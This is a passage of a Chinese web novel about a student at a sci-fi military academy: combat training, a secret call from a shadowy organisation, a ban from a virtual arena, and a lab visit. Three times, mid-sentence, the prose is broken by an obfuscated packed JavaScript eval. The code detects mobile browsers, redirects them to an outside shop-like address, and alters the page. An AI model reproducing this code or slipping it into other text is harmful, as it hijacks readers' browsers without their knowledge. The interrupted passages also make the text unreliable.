“喔，你也要参加今年的模拟大赛吗？”秦理若有所思，她伸手点了点下巴，开口道，“如果你要参加的话，那今天一定要跟我去了！” 她目光坚定地看了过来：“光看理论是没有用的，你需要更多的实际训练，正好跟我一起，走吧走吧。” 简初被她的话术吸引，半推半就换上运动服，一同出了门。 十分钟后—— “这就是参加模拟大赛必不可少的，自我锻炼的绝佳场地。”秦理双手抱胸，抬抬下巴示意简初往那边看。 “梆梆梆！” 简初张着嘴，目瞪口呆地看着一个个身高腿长、灵活矫健的作战系学生互相打得有来有回，拳拳到肉的打击声落在她耳里，跟秦理的循循善诱交汇在一起—— “砰砰砰！” “实战永远是最快的进步方式。” “咚咚咚！” “肌肉记忆可以让你快人一步，抢占良机。” 简初灵魂出窍。 “我们学院的竞技场，这边是普通体术区，异能区在那边，就不带你去了，啊这里非常欢迎其他学院的同学来积极参与啦。” 秦理手随意往外一指，表情相当不走心。 简初凝重地环顾四周，统一的黑金配色运动衣，让秦理的这句话显得极其有水分。 谢谢，其他学院的同学表示就不来凑热闹了。 “我突然想起来还有点事，先走了！” 简初说得煞有介事，脸色相当严肃，好像真有什么重要的大事被她不小心忘记了。 她果断扭头就走，却被秦理反手勾住脖子，无情地镇压在原地。 “来都来了。”被迫对视的简初仿佛看到秦理眼里涌动的黑气，甚至幻视了额头长出的恶魔角。 “而且旁边就有恢复舱哦，外院系的学生每天可以免费用五次呢！” 简初：“……” 她掰开秦理揽着她的手臂，诚恳地看过去：“请问我哪里做得不好，你直接告诉我，我可以改。” “噗！”秦理没忍住，被她的表情逗乐，“不开玩笑了，没骗你，你看这里的人，几乎都是报名模拟大赛做准备的，因为是在乌托邦上进行比赛，所以身体素质并不重要，但战斗的经验会刻进你的大脑里。” 秦理伸手指了指脑袋。 “当战斗招式成为本能，就可以逼近现实中的战斗体感，更快地适应比赛环境。” 简初并没有登录过乌托邦，但是她能够理解，在全息星网上行动的感觉和真实有差距，如果说现实中的打斗依赖身体的条件反射，乌托邦上的行动则更取决于战斗意识。 “虽然作战学院的精神力素质虽然普遍不如你们，但是我们有自己的方法。”秦理笑得眯眯眼，“现在我把秘诀告诉你咯，怎么样，要不要试试？” “所以你们专业的都报名了吗？”简初的重点漂移到别的地方。 秦理理所当然地点点头：“学校对异能的要求很严格，四年级期末才能参加统一的中级水平测试，所以我们只有两次参加大赛的机会，当然要珍惜。” “我记得你去年没参加？” “……嗯。”简初点头。 要不是有任务，她今年也不想参加。 这边场地很大，她在旁边输入信息之后，很快就随机到了对手，秦理在旁边围观，以防发生突发情况。 简初深吸一口气，跟对手礼貌鞠躬表示尊重，下一秒，就有一个带着破风声的拳头就朝她面门袭来。 不走流程直接开打？ 简初往左闪避，右手抓住对方的手腕向后折，左手对着对方肩胛骨来了个肘击。 竞技台下，不知道什么时候出现的左虞珩站在秦理身旁摸着下巴：“唔，反应和招式都很不错，就是没啥力气啊好像。” “因为她身体素质不行。”秦理嫌弃地往旁边挪挪，“你身上都是汗，离我远点。” “哎，有这么嫌弃自己搭档的吗？”左虞珩一脸受伤，贱兮兮地又凑过去了点。 台上给出雷霆一击的简初脸色不是很好看。 作战学院的人都是铁打的吗！ 要知道这里还只是普通体术区，不敢相信异常作战专业的人有多能打。 跟她对战的学生好像也有点惊奇，回过头面色复杂，礼貌发出疑问：“同学，你没吃饭吗？” 简初：“……” 伤害不高，侮辱性极强。 她面不改色，伸出拳头给对方又来了一下：“确实没吃，谢谢关心。” 左虞珩和秦理在台下看了十分钟躲避战，最后以简初体力不支告终。 她主动攻击的次数不多，每次也都精准地打到了关键要害，不过由于“没吃饭”，所以并不能造成什么实质伤害。 刚从隔壁竞技台下来的傅燃只看到了简初跟对手最后一段战斗，以及她现在躺在恢复舱跟秦理哭诉的画面。 “我再也不来了，太伤自尊了！”简初宽面条泪。 “滴——” 终端突然发出收到通知的提示音。 [亲爱的简初同学，恭喜你成为五年级第一位挑战体术竞技场的外院系学生，你非常具有挑战精神！虽败犹荣！根据你本场表现给你发放300校内积分的安慰奖，希望再接再厉！] 终端跳出精卫的消息，还有模有样地给她在终端屏幕放了个庆祝烟花。 “我觉得我又可以了。” 简初读完消息沉默片刻，诚恳地抬头，“我还能再来一轮，不，四轮。” 傅燃看着好像突然满电的简初劲头十足地再次冲上竞技台，垂眼托着下巴，认真思考了片刻，缓缓开口：“需要我帮忙给她制定一份训练计划吗？总是输的话，她心里应该也不好受吧。” 正好可以借机探探她的底，傅燃如此计划着。 但其他人不知道他在想什么，左虞珩露出一个不解的表情：“你们什么时候这么熟了？” “不是你说的，要多交流。”傅燃瞥他一眼。 左虞珩闻言沉思了片刻，右手握拳砸在左手手心，一副恍然大悟的表情。 “还是你想得周到，我也想参加！” 秦理不动声色瞧了他一眼，脚下默默远离了一步。 “秦理，你也一起吧！你们俩最熟，她肯定会答应你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761124|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”左虞珩眼睛亮晶晶。 虽然不知道这两人的热情来自于何处，但是秦理最终还是点了点头。 于是在简初不知情的情况下，针对她体术训练的专项小组就此成立。 一个多小时后，简初喜滋滋地看着自己的积分账户，快乐走出竞技场的大门。 虽然到后面积分越来越少，但蚊子再少也是肉啊。 秦理倒是有些担心她的状态。 “短时间用这么多次恢复舱，可能会有点不良反应，肌肉酸软头晕呕吐什么的，你这几天注意一点。” 话音刚落，走在旁边的简初就左脚绊右脚，扑通一声趴在了地上。 她用最后的力气伸着手臂，颤颤巍巍支着地面抬起头：“我很好，我明天还会来的！” 秦理：“……” 别以为我看不出来你是为了那点积分。 可惜简初的壮语豪言并没有顺利实施，毕竟她第二天连去教室都是扶着墙进去的，高级体术课的老师已经听说她的壮举，态度非常友好地安排简初坐在一旁围观他们上课的流程。 他们课上可就两棵外院系的苗苗，可要好好呵护。 听着周围令人牙酸的搏斗声，简初悄咪咪跟身边的男孩搭起话来。 “同学，你是哪个院的？” 那男生却面露菜色：“我是后勤的，我……不小心选错课了，已经在申请退课了。” 简初：“……” 她还想着收获一个战友呢。 “你应该也是不小心选错课了吧，正常人哪会选这个。” 简初若无其事地揪了揪衣角的线头：“你说得对，哪会有人选这个课。” 没过多久，简初就看见课程老师接了一个通讯，然后叹了口气，往这边走来。 “好了，我这边收到退课申请了，你们走吧。” 他面露忧伤，毕竟带一个外院系的学生可以拿到额外的奖金，比起其他老师，他这部分的收入少得可怜。 啊不，是没有。 一旁的男生闻言，如蒙大赦一般飞快站起身，鞠了个躬拎包就跑，留下简初和老师两人面面相觑。 “李老师？” 简初眼中充满期待。 “嗯？你还不走，是有什么问题吗？” 虽然是作战学院出了名的严师，但李亭对外院系的同学还是很友好的，而且面前这孩子一看就是个听话的好学生。 “我可以回去上课了吗？” “去吧去吧。” 得到准许，简初起身拍拍衣服就往大部队的方向走，下一秒就被李亭伸手拽住了衣领。 “等等，门在那边。” 简初茫然地转过头，两人一时无言，李亭似乎反应过来什么。 “等等，我看看，你没退课？！” 他的嗓门没收住，惹得那边在热身的学生纷纷往这边看过来。 “我没退啊。” 四个大字砸下来，把李亭的脑袋砸得晕晕乎乎。 苍天有眼，他李亭也有一天能拿到奖金了吗！ 简初警觉地发现面前的人似乎陷入了某种奇异的境地，他露出一丝狞笑，转而又柔和了表情，满是关怀地看过来。 “简初同学，你很不错，我会好好教你的。” 简初：“？” 有种不妙的感觉。 19. 灯下黑（19） 于是属于简初的“专项救助小组”在李亭老师的见证下正式成立了，即使他们已经提前通过气，但事到如今看起来还是有一丝尴尬，现场唯一体感良好的大概只有老师本人了。 啊，还有左虞珩同学。 简初沉默地看着两人一副托孤的架势，有些怀疑自己来上这个课是不是一个错误的选择。 秦理艰难地咽了口唾沫：“不要慌，他们本质上还是靠谱的。” 简初睁着死鱼眼看过来，两人无言相望，秦理露出假笑，用力拍拍她的胳膊：“至少，还有我们俩，不要慌。” 简初挪开怀疑的视线，跟一旁的傅燃对上，年轻人愣了愣，思索了片刻也朝她点了点头。 “你这身体素质……”李亭拿着新鲜出炉的体检表，皱着眉走过来。他抬头瞧见简初一脸期待地看着他，立刻咽下了原本到嘴边的话。 “你这身体素质差了点，不过没关系，我会根据你的情况制定训练计划的，可能会有些辛苦，但是我觉得你可以坚持下去的？” 人高马大的中年大汉，努力睁大眼做出和蔼可亲的表情，非常努力地“呵护”着代表他奖金的小同学。 简初接过体检表，和叠在下面的训练计划，点了点头：“麻烦老师了。” 她从表里抬起头，就看见自己的左右护法神情颇有些凝重地盯着她。 “嗯？”她疑惑地歪歪脑袋，“怎么了？” 傅燃就算了，基本没看见他有过什么大表情，但秦理怎么也变成冰块脸了？ 还没来得及等到秦理开口，李亭就一脸“我没看错人”的表情，伸手拍了拍简初的肩膀：“好！平时训练有问题可以直接联系我，当然，找你的小伙伴也是可以的，前期尽量保证有人陪同训练啊，否则容易受伤。” “走吧，咱们待会开始上课，你量力而行。” “……啊，好。”简初腮帮子抽了抽，微笑目送他远去。 秦理拉了拉她的胳膊，不解地望过来：“走啊，上课了。” 简初用力地闭了闭眼，长长叹了口气。 “等等，胳膊麻了。” …… 作战学院的体术课都会有固定的训练队友，从三年级开始，秦理和左虞珩就是合作关系。 “其实我之前都是跟傅燃组队的，我俩以前就一起念书，关系比较好，不过他前两年家里有事，一直没怎么来学校，正好秦理的原来的搭档在二升三的时候转学了，所以我们就搭伙过日子了。” 左虞珩嚼嚼嘴里的鸡肉，解释了一下在刚刚的课堂上，为什么他们的组队流程显得特别局促。 “太受欢迎真是让人烦恼，你看他们俩都为了我避嫌，争着和你搭档。” “最后只能咱们四个看情况，灵活机动了。” 秦理：“呵呵。” 傅燃：“你太吵了。” 简初：“……” 见简初没有反驳左虞珩的话，三人各异的目光都投了过来—— 坐在一边的女孩仿佛自成一片天地，丝毫没有听见他们的对话，她此刻正表情凝重，颤颤巍巍捏着筷子，下一秒，快要进到嘴里的菜啪叽又掉回了盘子里。 几人面面相觑，秦理伸手戳戳简初的胳膊，筷子应声掉落。 左虞珩一脸惊恐地看着秦理拿了一双新筷子递过去，接过筷子的简初又开始颤颤巍巍和饭菜作斗争。 “啊这……” 秦理弱弱开口，就看见正对面的傅燃正面无表情地盯着简初跟饭菜搏斗，她疑惑开口：“有什么问题吗？” “没什么。”傅燃淡定收回视线，开始吃饭，“我只是在想，课后的训练计划要怎么安排。” “毕竟一直这样的话，很难及格。” 第二天，没有早课的简初睡了个昏天黑地，一睁眼感觉自己人都要散架了，她一脸空白地躺在床上，思索了片刻，安详地把手交叠，搁在了小腹。 就让她就此安静沉睡吧。 沉睡吧。 “嗡嗡嗡——” 在她即将再次陷入梦乡的时刻，床头的终端突然振动起来，许久没有人接听，它短暂停了几秒，又再次发出声音。 简初伸着沉重的胳膊，艰难地摸到，随意看了一眼。 没有备注的未知来电？谁啊。 她刚准备拒接，下一秒，就看清终端角落上图案，简初瞬间精神，翻身坐了起来。 然后倒吸一口凉气，一半是身上疼，一半是被这通讯吓得。 温弗拉竟然就这么联系她？ 简初下意识看向书桌上方的对讲圆环，虽然确定没有监视功能，但精卫是可以监控到她终端的操作的。 通讯顽强地振动着，丝毫没有要挂断的迹象，简初深吸一口气，戴上耳机接通了。 “怎么这么久才接？” 是无影。 他此刻的语气相当自然，仿佛两人是什么老朋友一样。 “哦，我知道了，因为第一次在这种时候联系你，你紧张了？”无影意义不明地笑了一声，“别担心，不会被发现的。” “你有什么事？”简初谨慎开口。 “啊，来恭喜你转正啊，你暂时分到我这边，由我管理，不过我也是听上级的，不会私下给你安排活的。”无影懒洋洋开口，丝毫没有之前做任务时的焦躁感。 他似乎并没有觉得两人之间的交流有什么障碍，尽管苍耳曾经是“消耗品”，但现在已经不是了。 “谢谢。”简初哼笑一声。 事情过了几天了，这才想起来联系她，说没别的事鬼都不信。 “没别的事我就挂了。” “诶等等！”通讯那头的声音突然大了点，“别急啊，还有别的事呢，你现在怎么这么冷酷无情。” 简初脑中闪过思绪，紧接着冷笑开口：“到底是谁冷酷无情，修女怎么死的你不知道？” 通讯那头的声音诡异地沉默了片刻，然后语气讶异：“你在说什么？对于修女的死我们也很难过，组织已经尽最大努力，尽快通知她了，谁能想到……不过幸好你没事。” 听着有些心虚，愈加让简初确认她的猜想。 修女是被温弗拉亲手送上绝路的。 与组织能力极不相称的通知时间，如果没有自己掺和其中，在徐灿华接到组织通知的那一刻，抓她的人已经近在咫尺，以她的能力完全没有逃跑的可能。 那她只能选择使用异能。 以徐灿华以往的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761121|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行为来看，她对组织的忠诚度高到变态，绝对不可能反水，她只会全力反抗，最终被当场处理。 甚至那个会爆炸的联络终端就是组织保底的后手。 “我知道了，有事快说。”简初做出不耐烦的样子，没有再纠结那个话题。 “……有两件事，第一，修女死的时候，有没有给你一个黑色的小方块，”无影若无其事地开口，“那是组织给每个正式成员配的信物，我们打算给修女举办一个简单的祭奠仪式，她没有留下什么，只能用这个。” 要不是有系统提示，简初就真信了，显然温弗拉对现场发生的事情很好奇，想要得到信息收集器。 可惜，自己早就把它销毁了。 简初停顿了两秒，作思考状：“我没接触过类似的东西，可能现场有，但是情况太紧急了，我没有注意。” “行吧，我猜也是这样。”无影对此接受良好，“还有第二件事，是上级给你交派的任务”。 “参加今年的模拟大赛。” 简初：“……” “比赛期间会给你安排具体任务，我现在联系你的意思是，抓紧报名。” “……我知道了。” 简初深吸一口气，答应下来。 目的达到，无影没有继续无用的寒暄，两人不约而同地沉默两秒，接着挂断了通讯。 简初重新将自己摔回床上，她难耐地揉揉额角，现在不光是身上疼，头也疼起来了。 温弗拉的横插一脚，让模拟大赛突然变得迷雾重重，现在系统、温弗拉，再算上程源，三方都要求她参加模拟大赛，比赛期间要是不发生的什么她就不姓简！ 但事已至此，退缩显然是不可行的。 从字面意思来看，系统跟程源更像是因为同一个目的要求自己参加比赛，但根据此前的任务经验，她猜测系统的后续任务大概跟研究所相关。 这次的系统任务看起来非常平和，但简初没有忘记，它跟此前的另一个任务具有强关联性，获得行业翘楚的认可只是评判标准，任务的本质其实是要求自己掌握快速有关本专业的知识技能。 而在模拟大赛中的表现，可以有效推进前一项任务的进程，如果自己取得了好的名次，“一箭双雕”完成两个任务也有可能。 简初眼神放空，信息碎片从她脑中闪过，她正在努力从中间提取出有用的部分。 这么看来，系统的后续任务极有可能发生在学校研究所内部，并且需要自己掌握充分的专业知识才能够完成。 但相对的，温弗拉的目的十分扑朔迷离。 无影的话中没有露出任何口风，仅仅是要求她报名，这让简初无法从中推断出组织的目的。 但唯一能确定的，就是模拟大赛绝对不会安生。 思及此，简初咬咬牙，五官都皱在一起，忍着酸疼的身体从床上爬了起来。 她需要更多的时间来强大自己的实力，每强大一分，在之后的行动中就会多一分保障。 “嘶——” 可惜过量运动后带来的乳酸堆积并不在异能的恢复范围内，今天继续训练显然是不现实的，但除此以外，还有别的事能做。 那个她还没有去过的，乌托邦。 20. 灯下黑（20） 全息中心是一栋呈圆弧状的建筑，先进的设备和极大的建筑面积可以保证近五千人同时稳定地连接乌托邦。 逆着阳光，简初眯眼打量了一下面前庞大的建筑，跟着终端的指引进入了全息中心。 大概是为了控制机器运转的温度，这里头冷气十足，一进门是宽阔的大厅，上面简述了全息星网的发展史，已经使用的注意事项，简初已经提前查过，所以很快略过了这一部分，来到了二楼。 楼上几乎全部都是设备，除了登录大厅，还有需要预约的小包间，一同登陆的人会自动组队，并拥有免费的临时团队频道，还可以共享任务。 简初在登录大厅找了个周围没什么人的空闲位置坐下，她向后倚靠在椅背上，座椅上方的片状仪器缓缓降落，组合成一个头盔的形状，严丝合缝地贴合在简初的头部。 耳边响起精卫的声音。 “精神意识下沉中……请随时注意自己的精神状态，如有不适自行退出，精神波动超出警戒线精卫将进行强制弹出。” 简初眼前陷入漫长的黑暗，这本来是正常的，直到黑暗的时间长得有些过分。 “核实精神意识水印中……” 简初面容微微一凛，她不确定自己的到来给这具身体带来了多大的变化，如果被发现问题，她可以用觉醒异能作为借口吗？ 还未等简初焦虑，精卫的声音再次响起。 “核实无误，简初同学，欢迎来到乌托邦。” “你即将登入乌托邦－联邦第一军校专有局域网，请确认你的登录地点：自由交易街区18号出口。” 下一秒，简初就出现在一个宽阔的空地里，周围不断有人经过，很多人奇装异服，面容也千奇百怪，一看就是自由捏脸的。 简初朝路边的玻璃橱窗看了一眼，果不其然是一张完全陌生的面孔，她一下子还有些不习惯。 她试着动了动胳膊腿，发现原本身体的酸疼已经消失不见，虽然行动间感觉有些虚浮，不过这是登录乌托邦的正常现象。 虚拟和现实不可能完全没有差别，这不仅仅是技术上的问题。 不知道这里是不是她上次登出的地方，不过现在想这个也没什么用，简初点开地图，很快找到了自己的目标地—— 虚构对抗竞技馆。 在模拟大赛中的版块里，提到最多的训练方式就是虚拟对抗，它跟模拟大赛的形式非常相似，而虚拟对抗竞技馆中有海量的题库，是练手的不二之选。 场馆内人很少，空中飘浮着无数的虚拟建筑投影，风格迥异，旁边标注着竞技场状态，大多是红色的竞技中，少部分绿色空闲，夹杂着几个黄色标记，简初走上前看了看，是人数未满，等待加入的竞技场。 在她眼皮子底下，两个场地达到人员上限，开启了竞技。 很像游戏副本，但里面并没有复杂的故事线，大多是简单给一个背景，其重点在于对抗竞技。 简初思索了片刻，点开了虚空中的题库，筛选了最低难度。她没有接触过虚拟对抗，需要先熟悉一下里面的情况。 最低难度的规则简单，没有什么谋划布局的空间，适应性高，因此场地都比较忙碌，很多低年级的学生在里面比赛，简初好不容易看到一个即将满员的场地，眼疾手快地点了进去。 “对抗场地正在构建，请稍候，正在分配角色……” “根据对抗平衡守则，现为您分配角色：罪犯。” 简初：“……？” 还没等她细想，周围的环境突然发生转变，一阵数据流划过，她就置身于一个破旧的废弃工厂里，脚边躺着一个面容陌生的人。 竞技尚未开始，现在是规则说明的时间，简初面前浮现出一道光屏。 “欢迎参加虚构对抗，你现在所处的场地为《废弃工厂的围剿计划》，你的身份为绑架犯，你需要在限时内保证至少有一名人质存活并不被解救，即可获得本场胜利。如一方人员全部出局，则另一方无条件获胜。” “罪犯方；剩余1人。围剿方：剩余12人。人质：剩余3人。” “60秒后，对抗正式开始。” 简初陷入沉思，现在退出还来得及吗？ 她的手试探着点上光屏右上角的退出键，一个红色的对话框跳出。 “对抗即将开始，强行退出将扣除1500校内积分。” “是否确认？” 简初迅速点击取消。 不就是一对多，输了不过付个入场费，这账她还是会算的。 面前的光屏上浮现出场地的地图，她只能看到属于自己的小红点，以及三个人质的蓝色光点。 其他两方的任务很容易推测，围剿方应该是解救全部人质，人质方应该是跟围剿方绑定的，成功逃脱就算成功。 三个人质有些麻烦，要是只有一个就好办了…… “警告，罪犯不可伤害人质。” 简初默默收回了手，蹲在一边头疼地看着地上的男生，他嘴里正塞着一把破布条子，双手反剪在背后，在地上疯狂扑腾，喉咙里还支支吾吾想要说什么。 “有话要说？”简初懒懒开口。 “呜呜呜呜！”男生眼睛一亮，疯狂点头。 “哦，我不想听。”简初撑着膝盖起身，拍了拍手上不存在的灰尘，让她想想，搜索地图是怎么整得来着。 她微微垂下眼帘，尝试调动自己的精神力，小触手蠢蠢欲动，想要冒出头来，却被她无情按住。 脑海中传来虚无缥缈的海潮声，层层叠叠，愈加声势浩大地涌了过来，以简初为中心，无形的浪潮自由漫散开来，不过几息之间，就触及场地边缘，在屏障上掀起一点波澜。 简初紧锁眉头，垂眼任由自己的精神力沿着不可跨越的边沿摸索，最后笼成了一个圈。 整个对抗场地在她脑海中成型，其中散落在四周的十二个绿色光点正朝着同一个方向靠近。 看来围剿者们有可以自由沟通的通讯频道，不过还要碰面再制定战术，看来大家都不太熟啊。 那就别怪她下手狠了。 …… “莫景，我感觉不妙，一对多就算了，怎么还突然提升难度评级了，不会是哪个大佬来炸鱼塘了吧？” 两人结伴往集合点快速接近，男生有些犹豫地开口，另一个女孩子一声不吭，只埋头赶路。 “你找到他了吗？” 名叫莫景的女孩闻言，摇了摇头：“在我精神力范围内还没发现人。” “唉，感觉这次入场费又要打水漂了，怎么有人来炸低级鱼塘啊，没品的东西。”男生脸皱成一团，嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12014922|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里不听抱怨。 “围剿者出局1人，剩余11人。” 突如其来的场内播报打断了他的怨气，紧接着是更加愤怒的喊声。 “他根本没想好好比，就是来炸鱼塘的！” 简初捡起脚下破碎的红宝石徽章，好奇地举起来打量了好几眼。 这个小孩看起来胆子不大，她就提着把刀跟他打了个招呼，本来还想着周旋一下，探探他们内部有没有定什么战术，却看见对方“哇”得一声吓一大跳，紧接着一副视死如归的样子冲了过来。 天知道简初只是下意识举起刀防范，他就避无可避，哧溜一声顺滑地怼了过来，紧接着化作一道光芒消失，只留下这个徽章。 就这？ 简初挠挠脑袋，将徽章揣进腰包里，转头去找附近的另一个人。 本想着先削减对方的战斗力，要是都这么整，岂不是很快就要结束了。 她并不知道，刚刚“意外”出局的小同学，此时正愤愤不平地向精卫提交举报申请。 简初不放心地看了眼三个人质所在的位置，都还在原地，看来，看来自己选择先去给他们多捆上两圈，还是挺有用的。 “簌簌——” 身后有脚步声快速接近，简初迅速闪身，躲进旁边堆放的工业废料后面，不过几秒，就有两个人影出现在了她的视线里。 一男一女，面容有些青涩，其中的女孩非常迅速地朝简初所在的位置看了一眼，尽管她竭力做出什么都没发现的模样，但因为警惕而突然紧绷的嘴角还是暴露了她的心思。 简初没有选择继续躲藏，先发制人，一脚踢起面前的工业垃圾，各色的金属块和切割废料腾空而起，直直向对方两人的面门飞去。 “闪开！”莫景提前有所戒备，所以顺利躲开，但另一个男孩子显然没有这样的运气和能力，尽管努力躲避，但还是被重重打到了肩膀，他匆忙往后退了两步，下一秒，一道利光就从他眼前闪过。 “围剿者出局1人，剩余10人。” 数据流崩散，在原地掉落一个破碎的徽章，莫景见势不妙，转头就想离开现场。 甫一照面对方就解决了她的同伴，现在这里只剩下她一人，显然没法和对方正面抗衡，只能跟其他人集合在想办法。 莫景“看到”有一名同盟者在往这里靠近，不知道是发现了什么，还是意外选择了这条路，但他们联手或许还有办法。 简初不是喜欢找麻烦的人，她一个大跨步迅速拉进距离，旋转刀柄挽出一个绚丽的刀花，正手握刀，扭胯旋腰，刀刃脱手直直冲向目标的后背。 高级体术课极大地提高了她对于战斗动作的理解，加上原先的自由搏击基础，使她在不需要强大身体素质的乌托邦如鱼得水。 “精卫接收到多人举报，经检测，本场对抗双方匹配失衡，对抗中止。” 下一秒，简初眼前一黑，重新出现在竞技馆内，虚拟光屏弹窗虽迟但到。 “简初同学，你在虚拟对抗《废弃工厂的围剿计划》中，疑似存在恶意炸鱼塘的行为，导致对抗难度异常提升，严重影响他人对抗体验，现禁止你进入虚拟对抗竞技场，为期一周，并扣除3000积分用以补偿同场对抗者。” “一旦再次发现此类行为，将进行公开通报，请知悉。” 21. 灯下黑（21） 丝毫不给简初反应的机会，她还没看完光屏上的信息，就被踢出了竞技馆。 简初茫然地站在竞技馆门口，经过的人朝她投来奇怪的眼神，她清了清嗓子，整理了一下仪表，若无其事地离开了。 “莫景！你还好吗？” 男生凑到跟前来，一脸愤愤，“我就说是炸鱼塘，果然举报成功了，才给补偿200积分，也太少了。” 女孩看起来好像在思考什么，她怔愣了片刻，转而抬腿往外走去：“这次不算，之前的定金回头退给你，先走了。” “诶！别退啊，下次再约一次嘛！”男生着急开口，他好不容易找到尖子生带带他，熟悉一下虚拟对抗，出师不利就算了，还要退款啊。 但莫景已经抢先一步离开了竞技馆。 …… 简初在已经没了热情，草草四处逛了一圈，便退出了乌托邦。 果不其然，终端账户已经收到了扣款信息。 早知道这样，还不如开局强行退出。简初有些崩溃，昨天在作战学院的体术竞技场，受了那么大罪就挣了一千出头，这一眨眼，3000就送出去了。 看了眼令人不安的余额，简初长叹一口气，关上了终端。 眼不见为净。 毫无斗志的简初从座椅上爬起来，不知道是不是她的错觉，总感觉这会身上的酸疼减轻了不少，她尝试着扭了扭肩膀和脖子，确实灵活了一点。 “嘀嘀。” 手腕上的终端突然传来收到信息的声音，简初点开一看，是一个没有备注的通讯号。 “来实验室一趟。” 简初：“……” 这语气一看就知道是谁，她往上翻了翻纪录，过往的聊天纪录重新加载出来，满屏的“来一趟实验室”，时间还挺有规律，平均每个月发一次。 简初调出实验室的位置，紧接着终端在她脚底弹出一个指路箭头。 从各个方面看来，她跟伊森的关系都不算好，但由于对方在院长面前更有面子，所以两人处在一个很微妙的平衡之下，如无必要，都将对方当做空气。 不过很明显，让她去实验室应该是程源安排的。 十分钟后，简初到达研究所门口，她慢慢停下脚步，打量了一下研究所高大的门头，陷入沉思。 实验室在哪儿啊？ “学姐？”身后传来一个女孩的声音，周围没有其他人，简初确定她在跟自己说话。 身后的女孩齐耳短发，见简初看过来，努力挤出一个笑容，看起来平时并不爱笑，所以有些僵硬。 简初抿了抿唇，朝她点点头：“你好。” 女孩眼中闪过一丝不易察觉的失望，紧接着重新抬头：“学姐应该也受到通知了，我们一起过去吧。” 这不是瞌睡来了枕头，简初朝对方露出和善的微笑，两人一起走进研究所的大门，她悄悄落在后面小半步，表面看起来两人并肩行走，其实简初正跟着对方认路。 研究所里很大，拐了几个弯才到达电梯，实验室占了整整一层，从这里开始就没有找路的烦恼了。 简初略微松了一口气，微微侧过头打量了一眼旁边的女孩，她此刻正盯着电梯顶部的楼层跳动，见她看过去，手指不安地搓了搓。 电梯很快到了七楼，一入眼就是一大扇玻璃门，旁边的牌子上写着精神力研究实验室，里面有不少穿着白大褂的工作人员在忙碌，听见电梯的声音，有人朝这边看了一眼，接着又低下头工作了。 “莫景，你们来得太晚了。” 伊森·斯塔走过来，再一次微妙地无视了简初，莫景有些担忧地朝她看了一眼，便跟伊森打了招呼。 “不好意思学长，我在全息中心训练的，看到消息就赶过来了。” 简初闻言多看了女孩一眼，无视了伊森等待她解释的视线。 “有事不知道早点说，以为全世界都围着你转呢。”简初懒洋洋开口，“愣着干嘛，走啊。” 莫景小心地觑了眼伊森不太好看的脸色，纠结要不要打打圆场，就见伊森铁青着一张脸，一言不发地转头就走。 “愣着干嘛，走啊。”简初朝她挑挑眉，莫景紧张地舔了舔嘴唇，快步跟了上去。 两人跟着伊森，走进了一个没有门牌的房间，里面的人比外头少很多，看起来也更有经验，程源正坐在一堆数据屏后面，中央的茧型检测舱里正躺着一个学生。 “你们来了，坐这等等。” 程源飞快瞄了一眼，接着又低下头忙碌起来，简初很想知道现在是在做什么，但是周围的人都一副习以为常的样子，让她没法开口，只能观察他们的动作。 茧型舱外的圆环缓缓旋转着，从头移到脚，又开始往回，看起来很像在做某种检测。 “最大限度调动你的精神力，直到感受到大脑有一些刺痛为止。”站在一旁的白大褂开口朝里面的人喊道。 简初皱了皱眉，虽然她才学了些皮毛，但也知道大脑感受到刺痛是精神力使用过度的症状。 “临界峰值还没稳定，再坚持十秒。”程源表情不太好看地开口，旁边的白大褂立刻转述他的话。 简初微微抬着头，盯着程源面前数量众多的数据屏，上面正显示着舱内学生的精神力波动图谱。 “学姐？”莫景疑惑地瞧了她一眼，凑近了一点小声开口，“怎么了？图谱有什么不对吗？” “啊，没什么。”简初客气地朝她笑了笑，又看到对方脸上露出失望的表情。 简初：“……？” “跟上次检查比起来没什么进步，不过胜在稳定。”程源下了评语，将单子交给旁边的白大褂，简初本以为最后会将单子交给检测的学生，但工作人员只是跟出来的孩子口述了一下情况，便让他坐在一边休息了。 “学咱们这个专业的，精神力最重要，一定要定期检查，下一个你们谁来？”程源朝两人说道。 莫景抢先开口：“我先来吧。” 简初看见程源点了点头，莫名看了她一眼，接着转过去操作起来。 伊森·斯塔就站在他旁边，两人看着莫景的数据窃窃私语，程源的表情比刚才好看许多，应该是对舱内的人感到满意，一边在休息的男孩子瞧了她一眼，凑了过来。 “师姐，你不要担心。” 简初看他一眼，这话听着，对方也是程源的学生，所以今天是院长开后门给自家弟子做检查啊。 